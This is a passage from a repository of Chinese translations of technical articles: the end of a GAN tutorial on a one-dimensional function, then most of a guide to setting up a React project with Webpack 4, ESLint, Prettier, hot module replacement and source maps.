个迭代之后创建的，显示了真实（红）和虚假（蓝）样本的对比。一开始模型表现得并不好，生成的点只在正的输入域中，虽然函数关系是正确的。\n\n![2000 次迭代后为目标函数绘制的真实以及生成样本的散点图。](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/04/Scatter-Plot-of-Real-and-Generated-Examples-for-the-Target-Function-After-2000-Iterations-1024x768.png)\n\n2000 次迭代后为目标函数绘制的真实以及生成样本的散点图。\n\n第二散点图是在 10000 次迭代之后真实（红）和虚假（蓝）样本的对比。\n\n这里我们可以看到生成模型确实生成了逼真的样本，输入域在 -0.5 和 0.5 之间正确的范围，并且输出值显示了近似 X^2 的函数关系。\n\n![10000 次迭代后为目标函数绘制的真实以及生成样本的散点图。](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/04/Scatter-Plot-of-Real-and-Generated-Examples-for-the-Target-Function-After-10000-Iterations-1024x768.png)\n\n10000 次迭代后为目标函数绘制的真实以及生成样本的散点图。\n\n## 拓展\n\n这个部分列举了一些在教程之外你可能希望探索的一些想法。\n\n* **模型架构**：用其它判别器和生成器的模型架构做实验，比如更多或更少的神经元，层以及代替的激活函数比如 leaky ReLU。\n* **数据规模**：用其他的激活函数比如 hyperbolic tangent (tanh) 和任意需要的训练数据规模。\n* **其他的目标函数**：用其他的目标函数，比如一个简单的 sine 曲线，高斯分布，一个不同的二次方程或者甚至一个多模态的多项式函数。\n\n如果你探索了这些扩展，我很想了解。\n在下方的评论中留下你的发现。\n\n## 拓展阅读\n\n如果你想更深入了解的话，本节提供了关于这个话题更多的资源。\n\n### API\n\n*   [Keras API](https://keras.io/)\n*   [我如何可以“冻结” Keras 层？](https://keras.io/getting-started/faq/#how-can-i-freeze-keras-layers)\n*   [MatplotLib API](https://matplotlib.org/api/)\n*   [numpy.random.rand API](https://docs.scipy.org/doc/numpy/reference/generated/numpy.random.rand.html)\n*   [numpy.random.randn API](https://docs.scipy.org/doc/numpy/reference/generated/numpy.random.randn.html)\n*   [numpy.zeros API](https://docs.scipy.org/doc/numpy/reference/generated/numpy.zeros.html)\n*   [numpy.ones API](https://docs.scipy.org/doc/numpy/reference/generated/numpy.ones.html)\n*   [numpy.hstack API](https://docs.scipy.org/doc/numpy/reference/generated/numpy.hstack.html)\n\n## 总结\n\n在这个教程中，你学习了如何使用一个一维函数从头搭建一个 GAN。\n\n具体来说，你学到了：\n\n* 使用一个简单的一维函数从头搭建一个 GAN 的好处。\n* 如何搭建独立的判别器和生成器模型，以及一个通过判别器预测行为来训练生成器的组合模型。\n* 如何在问题域中真实数据的环境中主观地评估生成的样本。\n\n你有任何问题吗？\n在下方的评论中写下你的问题，我会尽我所能来回答。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-develop-react-js-apps-fast-using-webpack-4.md",
    "content": "> * 原文地址：[How to streamline your React.js development process using Webpack 4](https://medium.freecodecamp.org/how-to-develop-react-js-apps-fast-using-webpack-4-3d772db957e4)\n> * 原文作者：[Margarita Obraztsova](https://medium.freecodecamp.org/@riittagirl)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-develop-react-js-apps-fast-using-webpack-4.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-develop-react-js-apps-fast-using-webpack-4.md)\n> * 译者：[JerryOnlyZRJ](https://github.com/jerryOnlyZRJ)\n> * 校对者：[acev](https://github.com/acev-online)，[xilihuasi](https://github.com/xilihuasi)\n\n# 如何利用 Webpack4 提升你的 React.js 开发效率\n\n![](https://cdn-images-1.medium.com/max/2600/1*NLzcqb-jEMHg9K5Ov0oAyw.jpeg)\n\n图片来源：https://www.instagram.com/p/BiaH379hrAp/?taken-by=riittagirl\n\n在现实生活的开发中，我们经常需要对新功能进行快速迭代。在本教程中，我将向你展示一些你可以采取的措施，以提升大约 20% 的开发速度。\n\n**为什么要这样**，你可能会问？\n\n因为在编程时进行人工操作往往会非常适得其反，我们希望尽可能将流程自动化。因此，我将向你展示使用 Webpack v4.6.0 提升 React 的开发过程中的哪些部分。\n\n我不会介绍如何初始化配置 webpack，因为我已经在[**之前的帖子**](https://hackernoon.com/a-tale-of-webpack-4-and-how-to-finally-configure-it-in-the-right-way-4e94c8e7e5c1)里讲过它。在那篇文章里，我详细介绍了如何配置 Webpack。我假设在阅读本文之前你已经熟悉 Webpack 配置的基础知识，这样我们就可以从准备好了基本配置之后开始。\n\n### 配置 Webpack\n\n在你的 `webpack.config.js` 文件中，添加以下代码：\n\n```\n// webpack v4\nconst path = require('path');\nconst HtmlWebpackPlugin = require('html-webpack-plugin');\nconst WebpackMd5Hash = require('webpack-md5-hash');\nconst CleanWebpackPlugin = require('clean-webpack-plugin');\n\nmodule.exports = {\n  entry: { main: './src/index.js' },\n  output: {\n    path: path.resolve(__dirname, 'dist'),\n    filename: '[name].[chunkhash].js'\n  },\n  module: {\n    rules: [\n      {\n        test: /\\.js$/,\n        exclude: /node_modules/,\n        use: {\n          loader: \"babel-loader\"\n        }\n      }\n    ]\n  },\n  plugins: [ \n    new CleanWebpackPlugin('dist', {} ),\n    new HtmlWebpackPlugin({\n      inject: false,\n      hash: true,\n      template: './src/index.html',\n      filename: 'index.html'\n    }),\n    new WebpackMd5Hash()\n  ]\n};\n```\n\n并在你的 `package.json` 文件中添加这些依赖：\n\n```\n{\n \"name\": \"post\",\n \"version\": \"1.0.0\",\n \"description\": \"\",\n \"main\": \"index.js\",\n \"scripts\": {\n  \"build\": \"webpack --mode production\",\n  \"dev\": \"webpack --mode development\"\n },\n  \"author\": \"\",\n \"license\": \"ISC\",\n \"devDependencies\": {\n    \"babel-cli\": \"^6.26.0\",\n    \"babel-core\": \"^6.26.0\",\n    \"babel-loader\": \"^7.1.4\",\n    \"babel-preset-env\": \"^1.6.1\",\n    \"babel-preset-react\": \"^6.24.1\",\n    \"babel-runtime\": \"^6.26.0\",\n    \"clean-webpack-plugin\": \"^0.1.19\",\n    \"html-webpack-plugin\": \"^3.2.0\",\n    \"react\": \"^16.3.2\",\n    \"react-dom\": \"^16.3.2\",\n    \"webpack\": \"^4.6.0\",\n    \"webpack-cli\": \"^2.0.13\",\n    \"webpack-md5-hash\": \"0.0.6\"\n  }\n}\n```\n\n接下来你可以安装你的项目所需依赖：\n\n```\nnpm i\n```\n\n并将 `index.html` 和 `index.js` 两个文件添加进项目的 `src/` 目录下\n\n首先在 `src/index.html` 文件中添加如下代码：\n\n```\n<html>\n  <head>\n  </head>\n  <body>\n    <div id=\"app\"></div>\n    <script src=\"<%= htmlWebpackPlugin.files.chunks.main.entry %>\"></script>\n  </body>\n</html>\n```\n\n接着在 `src/index.js` 中添加：\n\n```\nconsole.log(\"hello, world\");\n```\n\n执行 dev 脚本：\n\n```\nnpm run dev\n```\n\n**接下来你就会发现：项目完成编译了**！现在让我们继续为它配置 React。\n\n### 配置 React 项目\n\n由于 React 使用了名为 JSX 的特殊语法，我们需要转换代码。如果我们去 babel 的官网，就可以看到它为我们提供了 [React 的 preset](https://babeljs.io/docs/plugins/preset-react/).\n\n\n```\nnpm install --save-dev babel-cli babel-preset-react\n```\n\n我们的 `.babelrc` 文件应该长这样：\n\n```\n{\n  \"presets\": [\"env\", \"react\"]\n}\n```\n\n在你的 `index.js` 文件中添加一些项目的初始化代码：\n\n```\nimport React from 'react';\nimport { render } from 'react-dom';\n\nclass App extends React.Component {\n\nrender() {\n    return (\n      <div>\n        'Hello world!'\n      </div>\n    );\n  }\n}\n\nrender(<App />, document.getElementById('app'));\n```\n\n接着执行 dev 脚本：\n\n```\nnpm run dev\n```\n\n如果在你的 `./dist` 目录下能够看到一个 `index.html` 文件和一个带有 hash 值的 `main.js` 文件，**那么说明你做得很棒！项目完成了编译！**\n\n### 配置 web-dev-server\n\n严格来说，我们并不是必须要使用它，因为社区里有很多为前端服务的 node.js 服务端程序。但我之所以建议使用 **webpack-dev-server** 因为本就是为 Webpack 而设计的，它支持一些很好的功能，如**热模块替换**、**Source Maps（源文件映射）**等。\n\n正如他们在[官方文档](https://github.com/webpack/webpack-dev-server)中提到的那样：\n\n> 使用 [webpack](https://webpack.js.org/) 和后端开发服务配合能够实现 live reloading（热重启），但这只应当被用于开发环境下。\n\n**这可能会让人感到有些困惑**：怎样使 webpack-dev-server 仅在开发模式下生效？\n\n```\nnpm i webpack-dev-server --save-dev\n```\n\n在你的 `package.json` 文件中，调整：\n\n```\n\"scripts\": {\n  \"dev\": \"webpack-dev-server --mode development --open\",\n  \"build\": \"webpack --mode production\"\n}\n```\n\n**现在它应该能够启动一个本地服务器并使用你的应用程序自动打开浏览器选项卡。**\n\n你的 `package.json` 现在看起来应该像这样：\n\n```\n{\n “name”: “post”,\n “version”: “1.0.0”,\n “description”: “”,\n “main”: “index.js”,\n “scripts”: {\n   \"dev\": \"webpack-dev-server --mode development --open\",\n   \"build\": \"webpack --mode production\"\n },\n “author”: “”,\n “license”: “ISC”,\n “devDependencies”: {\n   “babel-cli”: “6.26.0”,\n   “babel-core”: “6.26.0”,\n   “babel-loader”: “7.1.4”,\n   “babel-preset-env”: “1.6.1”,\n   “babel-preset-react”: “6.24.1”,\n   “babel-runtime”: “6.26.0”,\n   “clean-webpack-plugin”: “0.1.19”,\n   “html-webpack-plugin”: “3.2.0”,\n   “react”: “16.3.2”,\n   “react-dom”: “16.3.2”,\n   “webpack”: “4.6.0”,\n   “webpack-cli”: “2.0.13”,\n   “webpack-dev-server”: “3.1.3”,\n   “webpack-md5-hash”: “0.0.6”\n }\n}\n```\n\n现在，如果你尝试修改应用中的某些代码，浏览器就会自动刷新页面。\n\n![](https://cdn-images-1.medium.com/max/1600/1*7vXsZHPYCclQ9KtJ0A6_Og.gif)\n\n接下来，你需要将 React devtools 添加到 Chrome 扩展程序。\n\n![](https://cdn-images-1.medium.com/max/1600/1*Bw2FhT8CyLq5NUci8GZZGQ.png)\n\n**这样，你就可以更轻松地使用 Chrome 控制台调试应用。**\n\n### ESLint 配置\n\n我们为什么需要它？好吧，通常来讲我们不是必须使用它，但 ESLint 是一个方便的工具。在我们的例子中，它将呈现并突出显示（在编辑器和终端中以及在浏览器上）我们代码中的错误，包括拼写错误等等（如果有的话），这称为 **linting**。\n\nESLint 是一个开源的 JavaScript linting 实用程序，最初由 Nicholas C. Zakas 于 2013 年 6 月开发完成。它有其替代品，但到目前为止，它与 ES6 和 React 配合使用效果特别好，能够发现常见问题，并能与项目的生态系统其他部分集成。\n\n现在，让我们在本地为我们自己的新项目安装它。当然，此时 ESLint 会有很多设置。你可以在[官方网站](https://eslint.org/docs/about/)阅读更多相关信息。\n\n```\nnpm install eslint --save-dev\n\n./node_modules/.bin/eslint --init\n```\n\n最后一个命令将创建一个配置文件。系统将提示你选择以下三个选项：\n\n![](https://cdn-images-1.medium.com/max/1600/1*kLrjReWpcFvbz3R2LPCv0g.png)\n\n在本教程中，我选择了第一个：回答问题。以下是我的答案：\n\n![](https://cdn-images-1.medium.com/max/1600/1*I0dtDFE0l2vSSlp2rN3aaw.png)\n\n这会将一个 `.eslintrc.js` 文件添加到项目目录中。我生成的文件如下所示：\n\n```\nmodule.exports = {\n    \"env\": {\n        \"browser\": true,\n        \"commonjs\": true,\n        \"es6\": true\n    },\n    \"extends\": \"eslint:recommended\",\n    \"parserOptions\": {\n        \"ecmaFeatures\": {\n            \"experimentalObjectRestSpread\": true,\n            \"jsx\": true\n        },\n        \"sourceType\": \"module\"\n    },\n    \"plugins\": [\n        \"react\"\n    ],\n    \"rules\": {\n        \"indent\": [\n            \"error\",\n            4\n        ],\n        \"linebreak-style\": [\n            \"error\",\n            \"unix\"\n        ],\n        \"quotes\": [\n            \"error\",\n            \"single\"\n        ],\n        \"semi\": [\n            \"error\",\n            \"always\"\n        ]\n    }\n};\n```\n\n到目前为止什么都没发生。虽然这是一个完全有效的配置，但这还不够，我们必须将它与 Webpack 和我们的文本编辑器集成才能工作。正如我所提到的，我们可以在代码编辑器、终端（作为 linter）或 git 的 precommit 钩子中使用它。我们现在将为我们的编辑器配置它：\n\n#### Visual Studio Code 中安装\n\n如果你想要，几乎每个常用的代码编辑器都有 ESLint 插件，包括 **Visual Studio Code、Visual Studio、SublimeText、Atom、WebStorm 甚至是 vim**。所以，下载[你自己的文本编辑器](https://prettier.io/docs/en/editors.html)的对应版本。在本次示例中我会使用 **VS Code**。\n\n![](https://cdn-images-1.medium.com/max/1600/1*AJ3s5IVxDjZTEk0_wrrDEw.png)\n\n现在我们可以看到出现了一些代码错误提示。这是因为项目有一个 Lint 配置文件，它会在没有遵守某些规则时标记代码并提示警告。\n\n![](https://cdn-images-1.medium.com/max/1600/1*QWa23sp5U4AXteyZcJimeA.png)\n\n你可以通过检查错误消息手动调试它，或者你可以使用它只需执行保存便自动修复问题的功能。\n\n![](https://cdn-images-1.medium.com/max/1600/1*XMEzmLN03Ub5MKKWRNMzPg.gif)\n\n你现在也可以调整 ESLint 设置：\n\n```\nmodule.exports = {\n    \"env\": {\n        \"browser\": true,\n        \"commonjs\": true,\n        \"es6\": true\n    },\n    \"extends\": [\"eslint:recommended\", \"plugin:react/recommended\"],\n    \"parserOptions\": {\n        \"ecmaFeatures\": {\n            \"experimentalObjectRestSpread\": true,\n            \"jsx\": true\n        },\n        \"sourceType\": \"module\"\n    },\n    \"plugins\": [\n        \"react\"\n    ],\n    \"rules\": {\n        \"indent\": [\n            \"error\",\n            2\n        ],\n        \"linebreak-style\": [\n            \"error\",\n            \"unix\"\n        ],\n        \"quotes\": [\n            \"warn\",\n            \"single\"\n        ],\n        \"semi\": [\n            \"error\",\n            \"always\"\n        ]\n    }\n};\n```\n\n更改了配置之后，如果你错误地使用了双引号而不是单引号，ESLint 不会中断构建。它还将为 JSX 添加一些检查。\n\n#### 添加 Prettier\n\n![](https://cdn-images-1.medium.com/max/1600/1*mYS-gqOHDfadjSPRVRk-Qg.png)\n\nPrettier 是当今最流行的格式化程序之一，它已被编码社区广泛使用。它可以添加到 ESLint、[你的编辑器](https://prettier.io/docs/en/editors.html)，也可以被挂载在 git 的 pre-commit 钩子上。\n\n![](https://cdn-images-1.medium.com/max/1600/1*l2Mh782tYEIhFY7nQrFr9Q.png)\n\n我会在这里将它安装到我的 VS Code 中\n\n安装后，你可以尝试再次检查代码。如果我们写一些奇怪的缩进并执行保存，它应该会自动格式化代码。\n\n![](https://cdn-images-1.medium.com/max/1600/1*44ug1_PkUfZb07-H_mkvOg.gif)\n\n但这还不够。为了使其与 ESLint 同步工作并且不会两次发出相同的错误，甚至发生规则冲突，你需要将它[与 ESLint 集成](https://prettier.io/docs/en/eslint.html)。\n\n```\nnpm i --save-dev prettier eslint-plugin-prettier\n```\n\n在官方文档中，他们建议你使用 yarn，但 npm 现在同样也能安装。在你的 `.eslintrc.json` 文件中添加：\n\n```\n...\n  sourceType: \"module\"\n},\nplugins: [\"react\", \"prettier\"],\nextends: [\"eslint:recommended\", \"plugin:react/recommended\"],\nrules: {\n  indent: [\"error\", 2],\n  \"linebreak-style\": [\"error\", \"unix\"],\n  quotes: [\"warn\", \"single\"],\n  semi: [\"error\", \"always\"],\n  \"prettier/prettier\": \"error\"\n}\n...\n```\n\n**现在我们想扩展我们的 ESLint 规则以包含 prettier 的规则：**\n\n```\nnpm i --save-dev eslint-config-prettier\n```\n\n并为你的 eslint 配置添加一些 extends：\n\n```\n...\nextends: [\n  \"eslint:recommended\",\n  \"plugin:react/recommended\",\n  \"prettier\",\n  \"plugin:prettier/recommended\"\n]\n...\n```\n\n![](https://cdn-images-1.medium.com/max/1600/1*xUdYUgdomd75VQNmSJpzww.gif)\n\n让我们为它添加更多[配置](https://prettier.io/docs/en/options.html)。为了避免默认的 Prettier 规则和你的 ESLint 规则之间的不匹配，你应该像我现在这样做：\n\n![](https://cdn-images-1.medium.com/max/1600/1*peNFmblwA6zx1DkANNye3Q.png)\n\nPrettier 借用了 ESLint 的 [override 格式](http://eslint.org/docs/user-guide/configuring#example-configuration)，这允许你将配置应用于特定的文件。\n\n你现在可以以 `.js ` 文件的形式为其创建配置文件。\n\n```\nnano prettier.config.js\n```\n\n现在，粘贴到该文件中：\n\n```\nmodule.exports = {\n  printWidth: 80,\n  tabWidth: 2,\n  semi: true,\n  singleQuote: true,\n  bracketSpacing: true\n};\n```\n\n![](https://cdn-images-1.medium.com/max/1600/1*u8OnUOEonV58hwoQ6-nw_A.gif)\n\n现在，当你执行保存时，你会看到代码自动格式化。那不是很漂亮（prettier）吗？双关语很有意思。\n\n我的 `package.json` 文件现在看起来是这样：\n\n```\n{\n \"name\": \"post\",\n \"version\": \"1.0.0\",\n \"description\": \"\",\n \"main\": \"index.js\",\n \"scripts\": {\n  \"build\": \"webpack --mode production\",\n  \"dev\": \"webpack-dev-server --mode development --open\"\n },\n \"author\": \"\",\n \"license\": \"ISC\",\n \"devDependencies\": {\n  \"babel-cli\": \"^6.26.0\",\n  \"babel-core\": \"^6.26.0\",\n  \"babel-loader\": \"^7.1.4\",\n  \"babel-preset-env\": \"^1.6.1\",\n  \"babel-preset-react\": \"^6.24.1\",\n  \"babel-runtime\": \"^6.26.0\",\n  \"clean-webpack-plugin\": \"^0.1.19\",\n  \"eslint\": \"^4.19.1\",\n  \"eslint-config-prettier\": \"^2.9.0\",\n  \"eslint-plugin-prettier\": \"^2.6.0\",\n  \"eslint-plugin-react\": \"^7.7.0\",\n  \"html-webpack-plugin\": \"^3.2.0\",\n  \"prettier\": \"^1.12.1\",\n  \"react\": \"^16.3.2\",\n  \"react-dom\": \"^16.3.2\",\n  \"webpack\": \"^4.6.0\",\n  \"webpack-cli\": \"^2.0.13\",\n  \"webpack-dev-server\": \"^3.1.4\",\n  \"webpack-md5-hash\": \"0.0.6\"\n }\n}\n```\n\n现在我们已经完成了很多工作，让我们快速回顾一下：ESLint 会监视代码中的错误，而 Prettier 是一种样式格式化工具。ESLint 有许多方法可以捕获错误，而 Prettier 可以很好地格式化你的代码。\n\n```\n// webpack v4\nconst path = require('path');\nconst HtmlWebpackPlugin = require('html-webpack-plugin');\nconst WebpackMd5Hash = require('webpack-md5-hash');\nconst CleanWebpackPlugin = require('clean-webpack-plugin');\nmodule.exports = {\n  entry: { main: './src/index.js' },\n  output: {\n    path: path.resolve(__dirname, 'dist'),\n    filename: '[name].[chunkhash].js'\n  },\n  module: {\n    rules: [\n      {\n        test: /\\.js$/,\n        exclude: /node_modules/,\n        use: {\n          loader: \"babel-loader\"\n        }\n      }\n    ]\n  },\n  plugins: [ \n    new CleanWebpackPlugin('dist', {} ),\n    new HtmlWebpackPlugin({\n      inject: false,\n      hash: true,\n      template: './src/index.html',\n      filename: 'index.html'\n    }),\n    new WebpackMd5Hash()\n  ]\n};\n```\n\n#### 问题：Prettier 不会自动格式化 Visual Studio Code 中的代码\n\n有些人指出 VS Code 无法使用 Prettier。\n\n如果你的 Prettier 插件在保存时没有自动格式化代码，你可以通过将下面的代码添加到 VS Code 设置来修复它：\n\n```\n\"[javascript]\": {\n    \"editor.formatOnSave\": true\n  }\n```\n\n问题描述在[这里](https://github.com/prettier/prettier-vscode/issues/290)。\n\n#### 添加 ESLint loader 到你的 pipeline 中\n\n由于 ESLint 是在项目中配置的，因此一旦运行 dev 服务器，它也会在终端中提示警告。\n\n![](https://cdn-images-1.medium.com/max/1600/1*wFH1KjXh8n6Tr8fp6fLCZw.png)\n\n> **特别提示**：尽管可以这样做，但此时我不建议将 ESLint 用作 Webpack 的 loader。它将破坏 source map 的生成，我在我的前一篇文章[《如何解决 Webpack 中的问题 —— 一些实际案例》](https://medium.com/@riittagirl/how-to-solve-webpack-problems-the-practical-case-79fb676417f4)中有更详细的描述。我将展示如何在这里设置它，以防这些人已经修复了他们的错误。\n\nWebpack 有它自己的 [ESLint loader](https://www.npmjs.com/package/eslint-loader).\n\n```\nnpm install eslint-loader --save-dev\n```\n\n你必须将 ESLint 添加到 rules 配置中。当使用了使用了编译类的 loader（如 babel-loader）时，请确保它们的执行顺序正确（从下到上）。否则，Webpack 将检查文件经过 babel-loader 编译后的文件。\n\n```\n...\nmodule: {\n  rules: [\n    {\n      test: /\\.js$/,\n      exclude: /node_modules/,\n      use: [{ loader: \"babel-loader\" }, { loader: \"eslint-loader\" }]\n    }\n  ]\n},\n...\n```\n\n![](https://cdn-images-1.medium.com/max/1600/1*tPh8qjDAdQeTnaQR54sKAw.png)\n\n以下是你可能遇到的一些问题：\n\n*   将未使用的变量添加到 index 文件中\n\n![](https://cdn-images-1.medium.com/max/1600/1*OSM0SXJIZ0Ain2VrHn7xYA.png)\n\n如果你偶然发现了这个错误（no-unused-vars），那么在 GitHub 和[这里](https://github.com/yannickcr/eslint-plugin-react/issues/1146)的[这个 issue](https://github.com/babel/babel-eslint/issues/6) 中很好地解释了这个错误。\n\n我们可以通过添加一些规则来解决这个问题，[这里](https://github.com/yannickcr/eslint-plugin-react#recommended)和[这里](https://github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-uses-vars.md)都有解答。\n\n你可能已经注意到，这里会出现 [no-unused-vars](https://eslint.org/docs/rules/no-unused-vars) 错误，你需要将其设为警告而不是错误，因为这样可以更轻松地进行快速开发。你需要向 ESLint 添加新规则，以便不会收到默认错误。\n\n你可以在[此处](https://eslint.org/docs/rules/no-unused-vars)和[此处](https://eslint.org/docs/user-guide/formatters/)更详细地了解这个配置。\n\n```\n...\nsemi: ['error', 'always'],\n'no-unused-vars': [\n  'warn',\n  { vars: 'all', args: 'none', ignoreRestSiblings: false }\n],\n'prettier/prettier': 'error'\n}\n...\n```\n\n这样我们就会得到漂亮的错误和警告信息。\n\n我喜欢使用自动修复功能，但我们必须明确一点：我并不是特别想让事情神奇地改变。为了避免这种情况，我们现在可以提交 autofix。\n\n### Pre commit 钩子\n\n在使用 Git 工具时，人们都会非常小心。但我向你保证，这个东西非常简单而且直截了当。挂载了 Prettier 的 Pre commit 钩子之后，团队在每个项目文件中将有一致的代码风格，并且没有人可以提交不规范的代码。要为你的项目设置 Git 集成，如下所示：\n\n```\ngit init\ngit add .\nnano .gitignore (add your node_modules there)\ngit commit -m \"First commit\"\ngit remote add origin your origin\ngit push -u origin master\n```\n\n这里有一些关于 [git 钩子](https://www.atlassian.com/git/tutorials/git-hooks)和[使用 Prettier](https://prettier.io/docs/en/precommit.html) 的精彩文章。\n\n对于那些说你只能在本地做这些操作的人说：不，那不是真的！\n\n你可以使用 [Andrey Okonetchnikov](https://medium.com/@okonetchnikov) 开源的 [lint-staged](https://github.com/okonet/lint-staged) 工具执行此操作。\n\n### 添加 propTypes\n\n让我们在我们的应用程序中创建一个新组件。到目前为止，我们的 `index.js` 看起来像这样：\n\n```\nimport React from 'react';\nimport { render } from 'react-dom';\n\nclass App extends React.Component {\n  render() {\n    return <div>Hello</div>;\n  }\n}\nrender(<App />, document.getElementById('app'));\n```\n\n我们将创建一个名为 Hello.js 的新组件用于演示。\n\n```\nimport React from 'react';\nclass Hello extends React.Component {\n  render() {\n    return <div>{this.props.hello}</div>;\n  }\n}\nexport default Hello;\n```\n\n现在在 `index.js` 文件中引入：\n\n```\nimport React from 'react';\nimport { render } from 'react-dom';\nimport Hello from './Hello';\nclass App extends React.Component {\n  render() {\n    return (\n      <div>\n      <Hello hello={'Hello, world! And the people of the world!'} />\n     </div>\n   );\n  }\n}\nrender(<App />, document.getElementById('app'));\n```\n\n我们应该看到这个元素，但 ESLint 提示警告：\n\n![](https://cdn-images-1.medium.com/max/1600/1*ZGEz6llC5Y1ITWxgnyjbgQ.png)\n\n**Error: [eslint] ‘hello’ is missing in props validation (react/prop-types)**\n\n在 React v16 中，必须添加 [prop 类型](https://www.tutorialspoint.com/reactjs/reactjs_props_validation.htm)以避免类型混淆。你可以在[这里](https://reactjs.org/docs/typechecking-with-proptypes.html)阅读更多相关信息。\n\n```\nimport React from 'react';\nimport PropTypes from 'prop-types';\nclass Hello extends React.Component {\n  render() {\n    return <div>{this.props.hello}</div>;\n  }\n}\nHello.propTypes = {\n  hello: PropTypes.string\n};\nexport default Hello;\n```\n\n![](https://cdn-images-1.medium.com/max/1600/1*hbcqU2L5sIf6xHhYfTAt_w.png)\n\n### 热模块替换\n\n现在你已经检查了代码，现在是时候向 React 应用添加更多组件了。到目前为止，你只有两个，但在大多数情况下，你会有几十个。\n\n当然，每次更改项目中的某些内容时，重新编译整个应用程序都不是一种好的选择，你需要一种更快的方法来优化它。\n\n所以让我们添加热模块替换，即 HMR。在[文档中](https://webpack.js.org/concepts/hot-module-replacement/)，它被描述为：\n> 热模块更换（HMR）在应用程序运行时变更、添加或删除[模块](https://webpack.js.org/concepts/modules/)无需完全重新加载。可以通过以下几种方式显著提升开发速度：\n\n> 保留在完全重新加载期间丢失的应用程序状态。\n\n> 只更新已变更的内容，即可节省宝贵的开发时间。\n\n> 更快地调整样式 —— 几乎可以与在浏览器控制台中进行样式更改相媲美。\n\n我不会在这里讨论它的工作原理：这足够写成一篇单独的文章，但我会告诉你该如何配置它：\n\n```\n...\noutput: {\n  path: path.resolve(__dirname, 'dist'),\n  filename: '[name].[chunkhash].js'\n},\ndevServer: {\n  contentBase: './dist',\n  hot: true\n},\nmodule: {\n  rules: [\n...\n```\n\n### 解决 HMR 的小问题\n\n![](https://cdn-images-1.medium.com/max/1600/1*fNtuYu1IhiI8Tfx4Kayrxg.png)\n\n我们必须使用 hash 来替换 chunkhash，因为很明显 webpack 已经修复了自上次以来的问题，现在我们终于让热模块替换开始正常工作了！\n\n```\n...\nmodule.exports = {\n   entry: { main: './src/index.js' },\n   output: {\n     path: path.resolve(__dirname, 'dist'),\n     filename: '[name].[hash].js'\n   },\n   devServer: {\n     contentBase: './dist',\n...\n```\n\n### 解决 bugs\n\n如果我们在这里运行 dev 脚本：\n\n![](https://cdn-images-1.medium.com/max/1600/1*WY_Y_fPRy26ixkq8N8aWsg.png)\n\n然后使用[这个 issue](https://github.com/webpack/webpack/issues/1151) 提到的方案来解决它：\n\n接下来，在 `package.json` 中添加 --hot 参数到 dev 脚本中：\n\n```\n...\n\"scripts\": {\n   \"build\": \"webpack --mode production\",\n   \"dev\": \"webpack-dev-server --hot\"\n}\n...\n```\n\n### Source maps:\n\n我之前提到过，**source maps 不能和 ESLint loader 一起使用**，我在[这里](https://github.com/webpack-contrib/eslint-loader/issues/227#issuecomment-386798932)提了一个 issue。\n\n> 通常，你无论如何都不希望它们出现在你的项目中（因为你想从 ESLint 错误消息中调试项目），总所周知，他们会使 HMR 变慢。\n\n你可以在[这里](https://github.com/facebook/create-react-app/pull/109#issuecomment-234674331)和[这里](https://github.com/facebook/create-react-app/pull/109#issuecomment-234674331)阅读更多。\n\n![](https://cdn-images-1.medium.com/max/1600/1*TpqdcojSNpZCgwgruvJeHw.png)\n\n如果你希望生成 source maps，最简单的方法就是通过 [devtools](https://webpack.js.org/configuration/devtool/) 选项。\n\n```\n...\nmodule.exports = {\n  entry: { main: './src/index.js' },\n  output: {\n    path: path.resolve(__dirname, 'dist'),\n    filename: '[name].[hash].js'\n  },\n  devtool: 'inline-source-map',\n  devServer: {\n    contentBase: './dist',\n    hot: true\n  },\n  ...\n```\n\n注意：你必须以正确的方式配置环境，否则 source maps 将不起作用。你可以在[这里](https://medium.com/@riittagirl/how-to-solve-webpack-problems-the-practical-case-79fb676417f4)阅读我的调试过程。下面我将为你梳理一个流程并解释我如何解决该问题。\n\n如果我们现在在代码中创建一个错误，它将显示在控制台中并指向正确的位置：\n\n![](https://cdn-images-1.medium.com/max/1600/1*woAOu4zwBh0El7IDnm0jqw.png)\n\n但现实好像不太尽人意…\n\n![](https://cdn-images-1.medium.com/max/1600/1*1MqvBQ4uXHOFJdndj7_vNQ.png)\n\n这是错误的做法\n\n你需要更改环境变量，如下所示：\n\n```\n...\n\"main\": \"index.js\",\n\"scripts\": {\n  \"build\": \"webpack --mode=production\",\n  \"start\": \"NODE_ENV=development webpack-dev-server --mode=development --hot\"\n},\n\"author\": \"\"\n...\n```\n\n`webpack.config.js`\n\n```\n...\ndevtool: 'inline-source-map',\ndevServer: {\n  contentBase: './dist',\n  open: true\n}\n...\n```\n\n现在它就有效了！\n\n![](https://cdn-images-1.medium.com/max/1600/1*OgplHry1FcpiYgiHiQV3Cw.png)\n\n如你所见，我们得到了发生错误的确切文件！\n\n现在项目的开发环境已经搭建成功！\n\n让我们回顾一下：\n\n*   我们配置了 webpack\n*   我们创建了第一个 React 组件\n*   我们引入 ESLint 来检查代码是否存在错误\n*   我们配置了热模块替换\n*   我们（可能）添加了 source maps 功能\n\n**特别提醒**：由于许多 npm 